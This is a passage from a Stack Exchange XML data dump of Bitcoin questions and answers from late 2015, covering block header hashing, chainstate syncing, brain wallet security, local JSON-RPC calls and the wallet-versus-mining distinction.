crownfunded project? It is true? If so, what are the safeguards?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can't send other people's money anywhere at all. Other people send their money where they want to send it. Of course if you could get people to send money anywhere you want then you can steal their money. But in that case, why use a smart contract? The whole point of a smart contract is that you can't just convince people to send money wherever you want them to, and &lt;em&gt;they&lt;/em&gt; insist on using a smart contract to guarantee the money goes where &lt;em&gt;they&lt;/em&gt; want.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2 - Could you tell me, in very plain words please, whether once I have created my contract code and &quot;sent&quot; it to the Ethereum network, I can update it? or do I have to write a new program and send it to the network (the oldest one then &quot;dying&quot; out of gas).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can design a contract whose sole purpose is to decide what contract actually executes and it can use whatever rules you want make that decision. However, again, you are assuming that an attacker can get people to send money wherever he wants. If that's true, he doesn't need a smart contract to steal their money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole point of smart contracts is that other people &lt;em&gt;won't&lt;/em&gt; send money where you want them to, they'll send money only where &lt;em&gt;they&lt;/em&gt; want to send it. And you need to provide a secure smart contract they trust for them to send money, otherwise they won't do it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-12-02T10:53:43.330" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="41610" PostTypeId="1" CreationDate="2015-12-02T11:43:16.380" Score="3" ViewCount="2466" Body="&lt;p&gt;I'm not sure how to ask this question clearly so I will ask it three different ways and hopefully someone understands me.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the input for the hash pointer in block k+1 just the transactions in block k or is it the transactions in block k as well as the hash of block k-1?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the hash pointer in block k+1 look like this : H(k) or this : H(k||H(k-1))?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In block k+1, there is a bunch of data as well as a hash pointer for the block k. But does block k+1 contain a hash of the &lt;strong&gt;entire&lt;/strong&gt; block k (so, the data and H(k-1))? Because if block k+1 contained a hash of the &lt;strong&gt;entire&lt;/strong&gt; block k then it should contain a hash of the hash already contained in block k right?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope I made some sense. Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="30916" LastActivityDate="2017-08-30T11:43:14.660" Title="What exactly is the input for the Hash pointer in block k+1?" Tags="|blockchain|hash|" AnswerCount="4" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41611" PostTypeId="1" CreationDate="2015-12-02T11:54:38.483" Score="1" ViewCount="952" Body="&lt;p&gt;Is it possible to download a recent snapshot of the chainstate database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running bitcoind (v. 0.11.8) on a machine with ~1mb/s download speed. After my client reached 300000 blocks, the synchronization is going insanely slow. I suspect it's because verification is very slow. The bitcoind processs is using nearly 100% CPU. However, for my purposes I only need a reasonably recent (i.e., up to 30 days old) chainstate database.&lt;/p&gt;&#xA;" OwnerUserId="30919" LastEditorUserId="30919" LastEditDate="2015-12-02T12:26:05.703" LastActivityDate="2016-03-01T18:56:41.437" Title="Chainstate database for download" Tags="|transactions|bitcoind|synchronization|database|bootstrap.dat|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41612" PostTypeId="2" ParentId="41610" CreationDate="2015-12-02T13:13:59.460" Score="4" Body="&lt;p&gt;(&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Protocol_documentation&lt;/a&gt; is a good resource for technical details about the protocol)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the topmost level, blocks contain three things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;80 byte block header.&lt;/li&gt;&#xA;&lt;li&gt;VarInt for the number of transactions in the block (N).&lt;/li&gt;&#xA;&lt;li&gt;N concatenated transactions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The block header contains:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;4 byte version number&lt;/li&gt;&#xA;&lt;li&gt;Prev block hash pointer.&lt;/li&gt;&#xA;&lt;li&gt;Merkle hash/root of the N transactions in the block. (See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10479/what-is-the-merkle-root&quot;&gt;What is the Merkle root?&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Block timestamp&lt;/li&gt;&#xA;&lt;li&gt;Difficulty to solve the block encoded as an integer.&lt;/li&gt;&#xA;&lt;li&gt;Nonce - an easy number to change to try different hash values.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think you are asking: what is the 2nd block header parameter in block k+1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each hash pointer in a block to point to the previous block is &lt;code&gt;SHA256(SHA256(80 byte header of block k))&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the input for the hash pointer in block k+1 just the transactions in block k or is it the transactions in block k as well as the hash of block k-1?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's just the hash of the header. The header contains a hash of the transactions, though, the merkle root.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does the hash pointer in block k+1 look like this : H(k) or this : H(k||H(k-1))?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Neither.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In block k+1, there is a bunch of data as well as a hash pointer for the block k. But does block k+1 contain a hash of the entire block k (so, the data and H(k-1))? Because if block k+1 contained a hash of the entire block k then it should contain a hash of the hash already contained in block k right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You do need the hash pointer in block k to be able to calculate the hash pointer in block k+1. Verifying the hash pointers and their difficulties is a small part of the work of miners.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-12-02T13:13:59.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41613" PostTypeId="1" CreationDate="2015-12-02T13:46:08.697" Score="1" ViewCount="469" Body="&lt;p&gt;My wallet has always automatically included a transaction fee everytime I do a transaction, but this time it didn't and I dont know why. I did everything like I always do and I haven't changed anything that I know of.&#xA;So now my transaction have been unconfirmed for 1 day and I've read it's because it didn't include a fee. What should I do now? I can't wait for up to a week for it to get cancelled. :( Need to get them back and redo the transaction or somehow get them confirmed ASAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the transaction:&#xA;&lt;a href=&quot;https://blockchain.info/tx/af34c93bac12c62f47415e1a419267a2e836e56f4b2c2d170a350f82e4ed639f&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/af34c93bac12c62f47415e1a419267a2e836e56f4b2c2d170a350f82e4ed639f&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="30922" LastActivityDate="2015-12-02T13:46:08.697" Title="Wallet didn't include fee, transaction stuck on unconfirmed" Tags="|transactions|blockchain|transaction-fees|unconfirmed-transactions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41614" PostTypeId="2" ParentId="41611" CreationDate="2015-12-02T18:15:29.897" Score="2" Body="&lt;p&gt;A 30 days old chainstate database does not make sense. Either you have the chainstate completely, and are able to do full validation, or you don't, and you can't validate at all. There is no middle ground of only validating recent transactions, as any transaction you encounter with unknown inputs could either be fraudulent or created more than 30 days ago, and you'll have no way to tell without a full chainstate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, either you don't need full validation, and you can use a number of lightweight clients instead, or you do, and you'll either need to build the chainstate yourself by synchronizing history, or copying from a source you trust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please don't go download a chainstate from a random place on the Internet though. They can introduce arbitrarily many coins assigned to themselves, and your client would accept them. If many people started running nodes using the same chainstate 'copy' such transactions could even get into blocks, and cause forks in the best case, and theft in the worst case.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-12-02T18:40:47.400" LastActivityDate="2015-12-02T18:40:47.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41615" PostTypeId="1" AcceptedAnswerId="41616" CreationDate="2015-12-02T20:56:32.777" Score="6" ViewCount="315" Body="&lt;p&gt;Why doesn't Bitcoin use public key recovering from the signature in order to reduce the Blockchain size? This would save 32 bytes per transaction input.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="19524" LastEditDate="2015-12-04T20:33:08.790" LastActivityDate="2016-01-03T21:13:23.223" Title="Why isn't Bitcoin using public key extraction from signature to reduce the blockchain size?" Tags="|transactions|ecdsa|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="41616" PostTypeId="2" ParentId="41615" CreationDate="2015-12-02T21:05:41.663" Score="2" Body="&lt;p&gt;The author of wxBitcoin was most likely unaware of the ability to do this, there's other inefficiencies like the original use of uncompressed points and BER encoding for signatures which also would have been good to eliminate. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-12-02T21:16:24.050" LastActivityDate="2015-12-02T21:16:24.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41617" PostTypeId="2" ParentId="13165" CreationDate="2015-12-02T21:56:04.737" Score="1" Body="&lt;p&gt;curl code for achieve that (using &lt;a href=&quot;http://jsonrpcphp.org/&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --user YOUR_USER --data-binary '{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;getinfo&quot;, &quot;params&quot;: [] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it will prompt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Enter host password for user 'YOUR_USER':&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally just hit your password and get the bitcoin server response&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;result&quot;:{&quot;version&quot;:666,&quot;protocolversion&quot;:666,&quot;walletversion&quot;:666,&quot;balance&quot;:0.00000000,&quot;blocks&quot;:366666,&quot;timeoffset&quot;:-9,&quot;connections&quot;:8,&quot;proxy&quot;:&quot;&quot;,&quot;difficulty&quot;:72722780642.54718018,&quot;testnet&quot;:false,&quot;keypoololdest&quot;:1448366656,&quot;keypoolsize&quot;:666,&quot;paytxfee&quot;:0.00000000,&quot;relayfee&quot;:0.00001000,&quot;errors&quot;:&quot;Warning: Message&quot;},&quot;error&quot;:null,&quot;id&quot;:&quot;curltest&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see something like after running the command-line above where version is what you want to see&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm &lt;a href=&quot;http://127.0.0.1:8332&quot; rel=&quot;nofollow&quot;&gt;http://127.0.0.1:8332&lt;/a&gt; that means you have to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ssh your_bitcoin_server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And also you must have your ~/.bitcoin/bitcoin.conf or /etc/bitcoin/bitcoin.conf (as a service) configuration file set to default port (8332)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to change this as required&lt;/p&gt;&#xA;" OwnerUserId="30934" LastEditorUserId="30934" LastEditDate="2015-12-02T22:04:55.230" LastActivityDate="2015-12-02T22:04:55.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41618" PostTypeId="1" AcceptedAnswerId="42060" CreationDate="2015-12-02T23:12:40.867" Score="5" ViewCount="2924" Body="&lt;p&gt;Everyone keeps saying brain wallets are insecure. Can someone explain to me WHY? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if I had a brain wallet that is 200 characters long which is the concatenation of all of my family members names along with punctuation's and numbers? How about that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how long is a private key? I don't see how a brain wallet is insecure if you come up with something &lt;strong&gt;ONLY&lt;/strong&gt; you can know. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2017-06-22T21:35:11.643" Title="Why are brain wallets not secure? People keep saying it, but explain to me why?" Tags="|security|brain-wallet|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41619" PostTypeId="2" ParentId="41618" CreationDate="2015-12-03T01:35:02.623" Score="5" Body="&lt;p&gt;It's not to do with length, but entropy. Humans are terrible at creating randomness, even what you think is hard to guess could in all probability be guessed with enough iteration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Family names for example are easy to guess, there's a finite number of them and a vast portion of names are from a set of only a few hundred. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the chance of you remembering what names are, the spelling, punctuation and ordering? Fairly low I suspect, humans are also terrible at remembering explicit data like that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as people start trying to be clever, the probably shifts from theft to irrecoverable loss. Just use the cryptographic keys the way they are supposed to be used, 256 bits of entropy created with a CSRNG. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-12-03T01:35:02.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41620" PostTypeId="1" CreationDate="2015-12-03T05:40:53.477" Score="1" ViewCount="625" Body="&lt;p&gt;Bitcoin is based on ECDSA. Does anyone know of cryptocurrencies based on RSA for authentication?&lt;/p&gt;&#xA;" OwnerUserId="30945" LastEditorUserId="2306" LastEditDate="2015-12-03T07:21:07.483" LastActivityDate="2015-12-03T12:45:24.230" Title="Cryptocurrencies based on RSA instead of ECDSA" Tags="|public-key|cryptography|ecdsa|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41623" PostTypeId="1" AcceptedAnswerId="41624" CreationDate="2015-12-03T17:56:19.190" Score="2" ViewCount="208" Body="&lt;p&gt;At the Model United Conference I attend, there is a resolution proposed to de-anonymize BTC in order to cull Darknet transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it is impossible but how do i prove it to the other delegates?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scientific peer-reviewed publications would be amazing.&lt;/p&gt;&#xA;" OwnerUserId="30954" LastEditorUserId="18196" LastEditDate="2015-12-03T18:19:46.500" LastActivityDate="2015-12-03T18:19:46.500" Title="Are there any publications about deanonymizing Bitcoin?" Tags="|legal|privacy|government|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41624" PostTypeId="2" ParentId="41623" CreationDate="2015-12-03T18:17:56.887" Score="2" Body="&lt;p&gt;A good resource is &lt;a href=&quot;http://arxiv.org/&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/&lt;/a&gt;. Search bitcoin in the search bar, and then look for &quot;anon&quot; on the page to find articles about anonymization and de-anonymization in bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing that, I found these examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arxiv.org/pdf/1510.07782.pdf&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/pdf/1510.07782.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arxiv.org/pdf/1509.06160.pdf&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/pdf/1509.06160.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arxiv.org/pdf/1405.7418.pdf&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/pdf/1405.7418.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arxiv.org/pdf/1107.4524.pdf&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/pdf/1107.4524.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-12-03T18:17:56.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41625" PostTypeId="2" ParentId="41575" CreationDate="2015-12-03T18:33:16.320" Score="1" Body="&lt;p&gt;So there are two ways to launch this attack.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;(stupid way) get 6 confirmations on a transaction, the go back to the block before the transaction and mine 6 blocks in a private chain before catching up to the mainline and eventually beating it. I would describe this as a race between main chain and private chain where the main chain has a 6-block lead.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(smart way) immediately after the transaction is in the mempool of the main chain, start a private chain with the double spend tx and keep the chain private until there are 6 confirmations on the main chain and release the longer chain into the world to win. I would describe this as a race between the main chain and private chain where they start from the same place.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think you're talking about doing (1) where (2) is the more likely to succeed attack. With (1), yes, this will take a long time since you have 6 more blocks to catch up. With (2), you're likely to beat (1) soon after however many confirmations. Since the length of the chain is determined by how much proof-of-work is in it, you might be able to win with a shorter chain (!). In any case, calculating the probability of doing so by time T is an interesting problem for (2) but it's at or above your percentage of the hashing power at any length as long as the second method of attack is used.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-12-03T18:33:16.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41626" PostTypeId="2" ParentId="13914" CreationDate="2015-12-03T19:23:56.127" Score="2" Body="&lt;p&gt;As @Bittylicious mentioned the JSON-RPC is a little bit buggy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)#PHP&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)#PHP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The jsonRPCClient library uses fopen() and will throw an exception saying &quot;Unable to connect&quot; if it receives a 404 or 500 error from bitcoind. This prevents you from being able to see error messages generated by bitcoind (as they are sent with status 404 or 500).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have an option use &lt;a href=&quot;https://github.com/aceat64/EasyBitcoin-PHP&quot; rel=&quot;nofollow&quot;&gt;EasyBitcoin&lt;/a&gt; instead, that will throw more accurate error messages and its pretty much the same than JSON-RPC&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; require_once 'YOUR_FOLDER/easybitcoin.php';&#xA; $rpc_host = 'YOUR_IP';&#xA; $rpc_port = 'YOUR_PORT';&#xA; $rpc_user = 'YOUR_USER';&#xA; $rpc_pass = 'YOUR_KEY';&#xA; $bitcoin = new Bitcoin($rpc_user, $rpc_pass, $rpc_host, $rpc_port);&#xA; print_r($bitcoin-&amp;gt;getinfo());&#xA; print_r($bitcoin-&amp;gt;listaccounts());&#xA; print_r($bitcoin-&amp;gt;listreceivedbyaddress(0, true));&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="30934" LastEditorUserId="30934" LastEditDate="2015-12-04T23:11:12.777" LastActivityDate="2015-12-04T23:11:12.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41627" PostTypeId="2" ParentId="40748" CreationDate="2015-12-04T01:26:15.613" Score="1" Body="&lt;p&gt;The main difference is that the wallet software does not mine or add onto the blockchain as the mining software does. Mining software attempts to find a valid Proof-of-Work, i.e., find an input to the hash function such that the hash is below the target, and has the ability to output a new block if the correct answer is found.  Wallet clients download the entire blockchain, but do not mine for blocks as the mining software does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past when the difficulty was low, the mining software and wallet were in the same program, but they have since split and now many versions of both wallets and mining software exist.&lt;/p&gt;&#xA;" OwnerUserId="30962" LastEditorUserId="120" LastEditDate="2015-12-07T11:57:11.023" LastActivityDate="2015-12-07T11:57:11.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41628" PostTypeId="1" AcceptedAnswerId="41633" CreationDate="2015-12-04T02:33:08.373" Score="0" ViewCount="258" Body="&lt;p&gt;And if so what version? I am asking because on a website it was talking about invalid blocks and how you should have a newer version of bitcoin core for some reason.&#xA;&lt;a href=&quot;https://bitcoin.org/en/alert/2015-07-04-spv-mining&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/alert/2015-07-04-spv-mining&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30384" LastEditorUserId="30384" LastEditDate="2015-12-04T05:05:03.647" LastActivityDate="2015-12-04T10:50:38.727" Title="Does blockchain.info wallet or mycelium wallet use Bitcoin core?" Tags="|wallet|bitcoin-core|wallet-security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41629" PostTypeId="1" AcceptedAnswerId="41631" CreationDate="2015-12-04T05:04:19.017" Score="1" ViewCount="49" Body="&lt;p&gt;For example, would it be considered right if I said &quot;I already gave you the money, Bob!&quot; when I gave him Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="30384" LastEditorUserId="5406" LastEditDate="2015-12-04T08:26:22.117" LastActivityDate="2015-12-04T08:26:22.117" Title="Is it accurate to refer to Bitcoin as &quot;money&quot;?" Tags="|terminology|money|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41630" PostTypeId="1" CreationDate="2015-12-04T05:30:18.533" Score="2" ViewCount="618" Body="&lt;p&gt;Open to any suggestions... (Original Question is below and am trying advice from the first answer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am in the process of looking at all the deleted files on the USB disk where MultiBit resides using recovery software. Trying to determine where and if there was ever any private key to recover it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There appears that the private key was not deleted as there is none for that time period so it was not received before the disruption. I recall it only started the confirmation process. I used the wallet infrequently. Previous time being last year (2014). Since there was no private key, could I not reestablish the wallet as it was at the about or prior to the point in time of the disruption and have it complete or run the blockchain to get the private key? There are numerous wallet files which I can see all with time dates which were deleted that are recoverable. I assume that it the rolling backup wallet files perhaps? I can even read the contents of the text ones and am seeing the actual receiving address (that I wanted to manually put into my wallets list) it is in a wallet file that is still deleted and recoverable probably. Ive not done anything as Im trying to figure out what procedure to do in what order as far as un-deleting files. I dont want to make a bigger mess either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition I have a second copy of the same wallet on another USB drive which had the key from last use prior to generating the new receiving address which was disrupted when conformation was just starting. That second USB drive I did run the blockchain on and it did not have that receiving address...only synchronized and brought the chain up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to attempt to recover but am still trying to think through what would be most likely to work to or highest probability of success. I was thinking to how can I reestablish the wallet at or prior to time of disruption (with that receiving address) and then see if it will show the coins confirmation then save so there is a private key. Does this make any sense? OR is there a better more likely to get success approach? Any suggestions appreciated. thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-----------The Original Question below--------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I manually add a receiving address to my multibit classic wallet? Corruption of info file destroyed that address. After restoration back to last good copy, the receiving address (which I sent to the exchange) is no longer listed in my wallet in the list of receiving address in my multibit wallet. Due to an interruption in transfer during confirmation or power outage or usb disconnect (take your pick) that address disappeared. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The info file for that one time is totally corrupted from the power interruption. That probably explains the loss of the receiving address. My question and I should probably have been clearer about asking is &quot;how can I manually add a receiving address to my multibit wallet receiving address list??&quot; I know the receiving address and the precise amount as I sent it to the exchange and I can see it on the blockchain as one transaction...Just am missing the receiving address in my wallet and as I was watching it be confirmed when the sudden interruption happened before the key export or clean exit could happen. So I now have the address missing from the wallet list. The info file for that was totally unreadable and corrupted. I restored from the prior one. That was ok and ran the blockchain again. However that put me back in time before the new address was generated. The address was not there of course because of the info file corruption which has the address list and payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how to manually to enter a receiving address into multibit wallet receiving address list? Can I put it into the info file? Tried it and didnt work... so please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I restore a specific missing address back into my wallet?? As I believe it would then reappear and complete the transaction if it was back on my address list. Thank you&lt;/p&gt;&#xA;" OwnerUserId="30965" LastEditorUserId="30965" LastEditDate="2015-12-05T19:00:39.353" LastActivityDate="2016-06-02T22:26:28.133" Title="How can I manually add a receiving address in MultiBit Classic Wallet - disconnected during confirmation" Tags="|blockchain|address|multibit|receiving|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41631" PostTypeId="2" ParentId="41629" CreationDate="2015-12-04T08:24:58.467" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Money&quot; rel=&quot;nofollow&quot;&gt;Money&lt;/a&gt; is something that is used as &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a medium of exchange&lt;/li&gt;&#xA;&lt;li&gt;a unit of account&lt;/li&gt;&#xA;&lt;li&gt;a store of value&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;in a given socio-economic context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;strong&gt;context&lt;/strong&gt; of the Bitcoin community, Bitcoin is being used as a &lt;strong&gt;medium of exchange&lt;/strong&gt; (payment vehicle) and – as the existence of &quot;hodlers&quot; shows – as a &lt;strong&gt;store of value&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You apparently agreed with Bob that some specific amount of Bitcoin would be sufficient to repay your debt to him. Therefore, you are denominating your debt in Bitcoin, i.e. using it as a &lt;strong&gt;Unit of Account&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under these circumstances, both Bob and you should consider &quot;I already gave you the money, Bob!&quot; an accurate usage of the term money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other circles, there is discussion especially about whether Bitcoin fulfills the &quot;Unit of Account&quot; property. Hence, others may disagree that Bitcoin is money.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-12-04T08:24:58.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41632" PostTypeId="2" ParentId="40748" CreationDate="2015-12-04T08:44:51.150" Score="0" Body="&lt;p&gt;The main purpose of &lt;strong&gt;wallets&lt;/strong&gt; is to &lt;strong&gt;manage your key chain&lt;/strong&gt;, i.e. the set of private keys that allows you to spend your bitcoins. For convenience and better user experience most wallets also track the addresses of your business partners, your transactions and your Bitcoin balance. There are both wallets that do this with full knowledge of the state of the blockchain as well as completely decoupled from the blockchain state (e.g. paper wallets).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main purpose of &lt;strong&gt;mining software&lt;/strong&gt; is to find an &lt;strong&gt;update&lt;/strong&gt; increment to &lt;strong&gt;the Blockchain's state&lt;/strong&gt;. To that end, mining software must find a set of inputs that corresponds to a winning block hash. In the most minimal setup, as a contributor to a pool, you only need to be able to increment the nonce, to recalculate the block header, and to perform an insane amount of SHA-256d operations.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-12-04T16:09:33.303" LastActivityDate="2015-12-04T16:09:33.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41633" PostTypeId="2" ParentId="41628" CreationDate="2015-12-04T10:50:38.727" Score="0" Body="&lt;p&gt;When you use Mycelium you're not running a node on your phone. Instead they run a few Mycelium servers, which include Bitcoin core nodes. They will have updated by now (probably around the date of this alert).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info is notorious for running old or non-standard node software causing all kinds of corruptions in their block explorer, but also sometimes in their wallets. But even for them I'd be surprised if they haven't updated by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general this alert is only still applicable if you're running your own node with one of the old versions mentioned.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-04T10:50:38.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
